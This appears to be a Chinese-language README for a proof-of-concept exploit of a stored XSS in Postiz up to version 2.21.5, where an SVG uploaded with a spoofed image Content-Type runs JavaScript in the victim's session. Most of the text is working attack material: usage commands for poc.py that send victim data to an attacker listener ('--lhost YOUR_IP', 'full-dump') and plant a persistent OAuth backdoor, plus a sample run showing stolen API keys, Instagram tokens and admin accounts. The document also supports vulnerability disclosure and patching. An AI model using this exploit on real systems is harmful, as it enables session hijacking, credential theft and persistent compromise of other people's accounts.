攻击者上传带有 Content-Type: image/png 的 .svg 文件
  -> 服务器仅验证 Content-Type 头（CWE-345）
    -> 文件以原始 .svg 扩展名保存到磁盘（CWE-434）
      -> nginx 以 image/svg+xml 提供服务
        -> 浏览器执行嵌入的 JavaScript（CWE-79）
          -> 同源：完全访问受害者的会话

const validation =
  (value.mimetype.startsWith('image/') ||
    value.mimetype.startsWith('video/mp4')) &&
  value.size <= maxSize;

const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);

http {
    include       /etc/nginx/mime.types;
    location /uploads/ {
        alias /uploads/;
    }
}

Python 3.8+
pip install requests

# 1. 检查目标是否存在漏洞
python3 poc.py http://target:5000 -e [email protected] -p password --check

# 2. 窃取受害者的所有数据
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a full-dump

# 3. 创建持久化后门
python3 poc.py http://target:5000 -e [email protected] -p password \
    --lhost YOUR_IP -a create-oauth-app

# 4. 无需凭据即可重用令牌
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
    --lhost YOUR_IP -a full-dump

攻击者                    Postiz 服务器              受害者
    |                              |                        |
    |-- 1. 登录/注册 ------------->|                        |
    |-- 2. 上传恶意 SVG ---------->|                        |
    |<---- 文件 URL ----------------|                        |
    |-- 3. 将 URL 发送给受害者 --------------------------->  |
    |                              |<--- 4. 打开 URL ------- |
    |                              |--- SVG + JS ---------> |
    |<-------------- 5. JS 执行，窃取数据 -------------------|

$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝

  Postiz <= 2.21.5 — 通过 MIME 欺骗文件上传实现存储型 XSS

[*] 以 [email protected] 身份登录 ...
[+] 认证成功。
[*] 生成载荷：在单个载荷中窃取所有数据
[*] 上传带有 Content-Type: image/png 的恶意 .svg 文件 ...
[+] 上传成功。
    ID:   28c1daee-d83e-403e-bc1f-dba63182d4b0
    Path: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] 在 0.0.0.0:8888 上启动数据窃取监听器 ...

=================================================================
  将此 URL 发送给受害者：

  http://target:5000/uploads/2026/04/15/4be19b2244eb.svg

=================================================================

[*] 等待受害者打开链接 ...

[+] 收到战利品 @ 2026-04-15 03:45:41
    tag: victim-profile
    data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}

[+] 收到战利品 @ 2026-04-15 03:45:41
    tag: integrations
    data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]

[+] 收到战利品 @ 2026-04-15 03:45:42
    tag: team-members
    data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
    ...